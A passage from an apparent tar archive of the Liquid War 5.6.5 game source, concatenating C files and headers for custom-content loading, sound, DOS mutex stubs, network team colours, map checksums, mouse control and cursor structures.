load_custom_map_callback, NULL); result = CUSTOM_MAP_OK; return result; } /*------------------------------------------------------------------*/ static int load_custom_music_callback (const char *file, int mode, void *unused) { void *pointeur; LW_MACRO_NOP (mode); LW_MACRO_NOP (unused); if ((pointeur = load_midi (file)) != NULL) { MIDI_MUSIC[MIDI_MUSIC_NUMBER++] = pointeur; log_print_str ("+"); CUSTOM_MUSIC_OK = 1; } else { log_print_str ("-"); } log_flush (); return 0; } /*------------------------------------------------------------------*/ static int load_custom_music (void) { int result = 1; char buf[512]; LW_MACRO_SPRINTF1 (buf, "%s\\*.*", STARTUP_MID_PATH); fix_filename_case (buf); fix_filename_slashes (buf); CUSTOM_MUSIC_OK = 0; for_each_file_ex (buf, 0, FA_DIREC, load_custom_music_callback, NULL); result = CUSTOM_MUSIC_OK; return result; } /*------------------------------------------------------------------*/ int load_custom (void) { int success, result = 1; if (STARTUP_TEXTURE_STATE && STARTUP_CUSTOM_STATE) { log_print_str ("Loading custom textures from \""); log_print_str (STARTUP_TEX_PATH); log_print_str ("\" "); log_flush (); success = load_custom_texture (); if (!success) result &= !STARTUP_CHECK; display_success (success); } if (STARTUP_CUSTOM_STATE) { log_print_str ("Loading custom maps from \""); log_print_str (STARTUP_MAP_PATH); log_print_str ("\" "); log_flush (); success = load_custom_map (); if (!success) result &= !STARTUP_CHECK; display_success (success); } if (STARTUP_CUSTOM_STATE && STARTUP_MUSIC_STATE) { log_print_str ("Loading custom musics from \""); log_print_str (STARTUP_MID_PATH); log_print_str ("\" "); log_flush (); success = load_custom_music (); if (!success) result &= !STARTUP_CHECK; display_success (success); } return result; } /*------------------------------------------------------------------*/ void order_map (void) { int incorrect_order = 1; int i; char name1[LW_MAP_READABLE_NAME_SIZE + 1]; char name2[LW_MAP_READABLE_NAME_SIZE + 1]; void *temp; for (i = 0; i < RAW_MAP_NUMBER; ++i) { RAW_MAP_ORDERED[i] = RAW_MAP[i]; } while (incorrect_order) { incorrect_order = 0; for (i = 0; i < RAW_MAP_NUMBER - 1; ++i) { LW_MACRO_STRCPY (name1, lw_map_get_readable_name (i, 0, 0)); LW_MACRO_STRCPY (name2, lw_map_get_readable_name (i + 1, 0, 0)); if (strcmp (name1, name2) > 0) { incorrect_order = 1; temp = RAW_MAP_ORDERED[i]; RAW_MAP_ORDERED[i] = RAW_MAP_ORDERED[i + 1]; RAW_MAP_ORDERED[i + 1] = temp; } } } } liquidwar-5.6.5/src/sound.h0000664000372000037200000001011613407756104015230 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : sound.h */ /* content : low-level sound routines */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_SOUND #define LIQUID_WAR_INCLUDE_SOUND /*==================================================================*/ /* variables globales */ /*==================================================================*/ extern int WATER_VOLUME; /*==================================================================*/ /* fonctions globales */ /*==================================================================*/ int start_water (void); void stop_water (void); void play_click (void); void play_go (void); void play_win (void); void play_time (void); void play_loose (void); void play_connect (void); #endif liquidwar-5.6.5/src/lw6.h0000664000372000037200000001026613407756104014616 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : lw6.h */ /* contenu : advertising for Liquid War 6 */ /* date de modif : 2010 */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_LW6 #define LIQUID_WAR_INCLUDE_LW6 /*==================================================================*/ /* includes */ /*==================================================================*/ /*==================================================================*/ /* variables globales */ /*==================================================================*/ /*==================================================================*/ /* fonctions globales */ /*==================================================================*/ int lw6_advertise_menu (int fade_in); #endif liquidwar-5.6.5/src/mutxdos.c0000664000372000037200000001206013407756104015576 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : thrddos.c */ /* content : provides fake mutex support under DOS */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include "mutxgen.h" /*==================================================================*/ /* defines */ /*==================================================================*/ /*==================================================================*/ /* macros */ /*==================================================================*/ /*==================================================================*/ /* globals */ /*==================================================================*/ /*==================================================================*/ /* fonctions */ /*==================================================================*/ /*------------------------------------------------------------------*/ int lw_mutex_init (LW_MUTEX_DATA * mutex) { int result = 1; return result; } /*------------------------------------------------------------------*/ int lw_mutex_lock (LW_MUTEX_DATA * mutex) { int result = 1; return result; } /*------------------------------------------------------------------*/ int lw_mutex_trylock (LW_MUTEX_DATA * mutex) { int result = 1; return result; } /*------------------------------------------------------------------*/ int lw_mutex_unlock (LW_MUTEX_DATA * mutex) { int result = 1; return result; } liquidwar-5.6.5/src/network.c0000664000372000037200000002077713407756104015602 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : network.c */ /* content : various network related stuff */ /* last update : may 8th 2001 */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include #include "network.h" #include "config.h" /*==================================================================*/ /* constants */ /*==================================================================*/ #define LW_NETWORK_COLOR_NB 12 #define LW_NETWORK_COLOR_DIST_MAXINT 1000000 #define LW_NETWORK_COLOR_DIST_SCALE 1000 /*==================================================================*/ /* globals */ /*==================================================================*/ int LW_NETWORK_ON = 0; LW_WHO LW_NETWORK_INFO[NB_TEAMS]; int LW_NETWORK_ERROR_DETECTED = 0; void *LW_NETWORK_RAW_MAP = NULL; /*==================================================================*/ /* static funcs */ /*==================================================================*/ /*==================================================================*/ /* functions */ /*==================================================================*/ /*------------------------------------------------------------------*/ /* * Returns the "distance" of 2 colors. For 2 adjacent which look * about the sane, it is 1. For radicaly different colors, it is * 6. If the colors are the same, it is 0. */ int distance_between_colors (int col1, int col2) { int dist; if (col1 < 0 || col2 < 0) { /* * Now if one of the member was -1, we * consider the colors are "far" * from each other. */ dist = 6; } else { dist = abs (col1 - col2); } if (dist > LW_NETWORK_COLOR_NB) { /* * Normally we should never get here... */ dist = LW_NETWORK_COLOR_NB / 2; } if (dist > LW_NETWORK_COLOR_NB / 2) { dist = LW_NETWORK_COLOR_NB - dist; } return dist; } /*------------------------------------------------------------------*/ /* * Calculates the "most different color", considering the colors * already chosen in LW_NETWORK_INFO. */ int choose_different_color () { int color; int closeness[LW_NETWORK_COLOR_NB]; int closeness_min; int dist; int i, j; /* * We calculate the "closeness" of each color */ for (i = 0; i < LW_NETWORK_COLOR_NB; ++i) { closeness[i] = 0; for (j = 0; j < NB_TEAMS; ++j) { if (LW_NETWORK_INFO[j].active) { dist = distance_between_colors (LW_NETWORK_INFO[j].color, i); if (dist > 0) { if (LW_NETWORK_INFO[j].network) { /* * We consider network color conflicts * to be less important than conflicts with * local colors, therefore we increase the * distance for network teams. */ dist++; } closeness[i] += LW_NETWORK_COLOR_DIST_SCALE / (dist * dist); } else { closeness[i] = LW_NETWORK_COLOR_DIST_MAXINT; } } } } /* * And now we pick up the one that has the less common points * with existing colors. */ closeness_min = LW_NETWORK_COLOR_DIST_MAXINT; color = 0; for (i = 0; i < LW_NETWORK_COLOR_NB; ++i) { if (closeness[i] < closeness_min) { color = i; closeness_min = closeness[i]; } } return color; } /*------------------------------------------------------------------*/ /* * Associates a color to each team */ void lw_network_attribute_colors () { int i, color; for (i = 0; i < NB_TEAMS; ++i) { if (LW_NETWORK_INFO[i].active) { if (LW_NETWORK_INFO[i].network) { /* * -1 is a temporary value which will be overwritten * by the _real_ value later */ LW_NETWORK_INFO[i].color = -1; } else { LW_NETWORK_INFO[i].color = CONFIG_TEAM_COLOR[i]; } } } for (i = 0; i < NB_TEAMS; ++i) { if (LW_NETWORK_INFO[i].active && LW_NETWORK_INFO[i].network) { color = choose_different_color (); LW_NETWORK_INFO[i].color = color; } } } /*------------------------------------------------------------------*/ /* * Associates a part to each team */ void lw_network_attribute_parts () { int i; static int order[NB_TEAMS] = { 0, 5, 2, 3, 1, 4 }; for (i = 0; i < NB_TEAMS; ++i) { if (LW_NETWORK_INFO[i].active) { LW_NETWORK_INFO[i].part = order[LW_NETWORK_INFO[i].server_id]; } } } liquidwar-5.6.5/src/checksum.c0000664000372000037200000001310613407756104015677 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : checksum.c */ /* content : utilities to calculate a checksum from a map */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include "mesh.h" #include "area.h" #include "time.h" #include "log.h" /*==================================================================*/ /* constants */ /*==================================================================*/ /* * We calculate the checksum once every 100 moves, should be * largely enough though, since it's only for "bug-finding" */ #define LW_CHECKSUM_PERIOD 100 #define LW_CHECKSUM_CONST_RVAL 55665 #define LW_CHECKSUM_CONST_CST1 52845 #define LW_CHECKSUM_CONST_CST2 22719 /*==================================================================*/ /* functions */ /*==================================================================*/ /*------------------------------------------------------------------*/ /* initializes the string tables */ /*------------------------------------------------------------------*/ int lw_checksum_calc (FIGHTER * army, int army_size) { unsigned int checksum = 0; int i; unsigned short rval = LW_CHECKSUM_CONST_RVAL; unsigned short cst1 = LW_CHECKSUM_CONST_CST1; unsigned short cst2 = LW_CHECKSUM_CONST_CST2; unsigned char cipher; unsigned char value; FIGHTER *f; /* * We do not _always_ calculate the checksum, it would be a CPU * waste... */ if (!(GLOBAL_CLOCK % LW_CHECKSUM_PERIOD)) { for (i = 0; i < army_size; ++i) { f = army + i; value = (0xFF & (((unsigned int) f->x) + ((unsigned int) f->y) + ((unsigned int) f->health) + ((unsigned int) f->team) + ((unsigned int) f->last_dir))); /* * Got this algorithm in old notes I had taken long time * ago when I was at school. */ cipher = (value ^ (rval >> 8)); rval = (cipher + rval) * cst1 + cst2; checksum += cipher; } } return checksum; } liquidwar-5.6.5/src/Makefile.dep.in0000664000372000037200000000007013407756104016541 0ustar travistravis#This a dummy file, required for the first call to make liquidwar-5.6.5/src/exec2.h0000664000372000037200000001105313407756104015107 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : exec2.h */ /* content : code to launch external programs */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_EXEC2 #define LIQUID_WAR_INCLUDE_EXEC2 /*==================================================================*/ /* includes */ /*==================================================================*/ /*==================================================================*/ /* constantes */ /*==================================================================*/ /*==================================================================*/ /* types */ /*==================================================================*/ /*==================================================================*/ /* variables globales */ /*==================================================================*/ /*==================================================================*/ /* fonctions globales */ /*==================================================================*/ int lw_exec2_run (char *file, char *commandline); #endif liquidwar-5.6.5/src/mouse.c0000664000372000037200000001532213407756104015227 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : mouse.c */ /* contenu : gestion de la souris */ /* date de modif : 3 mai 98 */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include "config.h" #include "mouse.h" #include "disk.h" /*==================================================================*/ /* variables globales */ /*==================================================================*/ int MOUSE_CONTROL_REF_X = 0; int MOUSE_CONTROL_REF_Y = 0; int MOUSE_CONTROL_UP = 0; int MOUSE_CONTROL_RIGHT = 0; int MOUSE_CONTROL_DOWN = 0; int MOUSE_CONTROL_LEFT = 0; static int MOUSE_CONTROL_GAP = 1000; static int MOUSE_ON = 1; /*==================================================================*/ /* fonctions */ /*==================================================================*/ /*------------------------------------------------------------------*/ void lw_mouse_update_control (void) { if (mouse_y <= MOUSE_CONTROL_REF_Y - MOUSE_CONTROL_GAP) { MOUSE_CONTROL_UP = 1; MOUSE_CONTROL_REF_Y = mouse_y + MOUSE_CONTROL_GAP; } else MOUSE_CONTROL_UP = 0; if (mouse_x >= MOUSE_CONTROL_REF_X + MOUSE_CONTROL_GAP) { MOUSE_CONTROL_RIGHT = 1; MOUSE_CONTROL_REF_X = mouse_x - MOUSE_CONTROL_GAP; } else MOUSE_CONTROL_RIGHT = 0; if (mouse_y >= MOUSE_CONTROL_REF_Y + MOUSE_CONTROL_GAP) { MOUSE_CONTROL_DOWN = 1; MOUSE_CONTROL_REF_Y = mouse_y - MOUSE_CONTROL_GAP; } else MOUSE_CONTROL_DOWN = 0; if (mouse_x <= MOUSE_CONTROL_REF_X - MOUSE_CONTROL_GAP) { MOUSE_CONTROL_LEFT = 1; MOUSE_CONTROL_REF_X = mouse_x + MOUSE_CONTROL_GAP; } else MOUSE_CONTROL_LEFT = 0; } /*------------------------------------------------------------------*/ void lw_mouse_reset_control (void) { MOUSE_CONTROL_REF_X = mouse_x; MOUSE_CONTROL_REF_Y = mouse_y; MOUSE_CONTROL_GAP = 2 + (8 - CONFIG_MOUSE_GAP) * (8 - CONFIG_MOUSE_GAP); if (MOUSE_CONTROL_REF_X < MOUSE_CONTROL_GAP) MOUSE_CONTROL_REF_X = MOUSE_CONTROL_GAP; if (MOUSE_CONTROL_REF_Y < MOUSE_CONTROL_GAP) MOUSE_CONTROL_REF_Y = MOUSE_CONTROL_GAP; if (MOUSE_CONTROL_REF_X > SCREEN_W - MOUSE_CONTROL_GAP - 1) MOUSE_CONTROL_REF_X = SCREEN_W - MOUSE_CONTROL_GAP - 1; if (MOUSE_CONTROL_REF_Y > SCREEN_H - MOUSE_CONTROL_GAP - 1) MOUSE_CONTROL_REF_Y = SCREEN_H - MOUSE_CONTROL_GAP - 1; position_mouse (MOUSE_CONTROL_REF_X, MOUSE_CONTROL_REF_Y); lw_mouse_update_control (); } /*------------------------------------------------------------------*/ void lw_mouse_update_show_hide (void) { if (MOUSE_ON) { if (font == BIG_FONT) { set_mouse_sprite (BIG_MOUSE_CURSOR); } if (font == SMALL_FONT) { set_mouse_sprite (SMALL_MOUSE_CURSOR); } show_mouse (screen); } else { set_mouse_sprite (INVISIBLE_MOUSE_CURSOR); } } /*------------------------------------------------------------------*/ void lw_mouse_show (void) { MOUSE_ON = 1; lw_mouse_update_show_hide (); } /*------------------------------------------------------------------*/ void lw_mouse_hide (void) { MOUSE_ON = 0; lw_mouse_update_show_hide (); } liquidwar-5.6.5/src/cursor.h0000664000372000037200000001352413407756104015423 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : cursor.h */ /* contenu : placement et initialisation des curseurs */ /* date de modif : 3 mai 98 */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_CURSOR #define LIQUID_WAR_INCLUDE_CURSOR /*==================================================================*/ /* includes */ /*==================================================================*/ #include "base.h" /*==================================================================*/ /* types */ /*==================================================================*/ typedef struct { /* * value which will be used when the * will be put into the map. this * value decreases at each round. */ int val; /* x position of the cursor */ int x; /* y position of the cursor */ int y; /* * true if the player who owns this * cursor is playing with it */ int active; /* team the cursor belongs to */ int team; /* * time at which this cursor has * lost. it seems that the diff * between cursor and team is not * well defined 8-( */ int loose_time; /* wether you are 1st or 2nd... */ int score_order; /* * first color used by this cursor * in the 256 color palette. again * a cursor is associated to a team */ int color_entry; /* * this value holds the state of all * the keys associated to the cursor * it is a logical or between * - CURSOR_KEY_UP * - CURSOR_KEY_RIGHT * - CURSOR_KEY_DOWN * - CURSOR_KEY_LEFT * which are defined in move.h */ int key_state; /* true if the player is a computer */ int control_type; /* * true if the player is located on * a remote machine */ int from_network; /* * the name of the player */ char name[NAME_SIZE + 1]; } CURSOR; /*==================================================================*/ /* variables globales */ /*==================================================================*/ extern CURSOR CURRENT_CURSOR[NB_TEAMS]; /*==================================================================*/ /* fonctions globales */ /*==================================================================*/ void reset_all_cursor (void); void apply_all_cursor (void); void auto_cursor (int index, int team, char *name); #endif liquidwar-5.6.5/src/game.h0000664000372000037200000001136013407756104015013 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : game.h */ /* contenu : organisation du jeu */ /* date de modif : 3 mai 98 */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_GAME #define LIQUID_WAR_INCLUDE_GAME /*==================================================================*/ /* includes */ /*==================================================================*/ #include /*==================================================================*/ /* definitions de constantes */ /*==================================================================*/ /*==================================================================*/ /* definitions de types */ /*==================================================================*/ /*==================================================================*/ /* variables globales */ /*==================================================================*/ extern int LW_GAME_RUNNING; /*==================================================================*/ /* fonctions globales */ /*==================================================================*/ char *init_game (void); int blank_round (void); int game (void); void free_game_memory (void); void calc_playing_teams (void); #endif liquidwar-5.6.5/src/decal.h0000664000372000037200000001052413407756104015153 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : decal.h */ /* contenu : gestion du decalage equipes jouantes/curseurs */ /* date de modif : 3 mai 98 */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_DECAL #define LIQUID_WAR_INCLUDE_DECAL /*==================================================================*/ /* includes */ /*==================================================================*/ #include "base.h" /*==================================================================*/ /* variables globales */ /*==================================================================*/ extern int PLAYING_TEAMS; extern int ACTIVE_FIGHTERS[NB_TEAMS]; extern int COLOR_FIRST_ENTRY[NB_TEAMS]; /*==================================================================*/ /* fonctions globales */ /*==================================================================*/ int get_cursor_from_team (int team); int eliminate_team (int team); #endif liquidwar-5.6.5/src/netgame.c0000664000372000037200000001702013407756104015514 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W 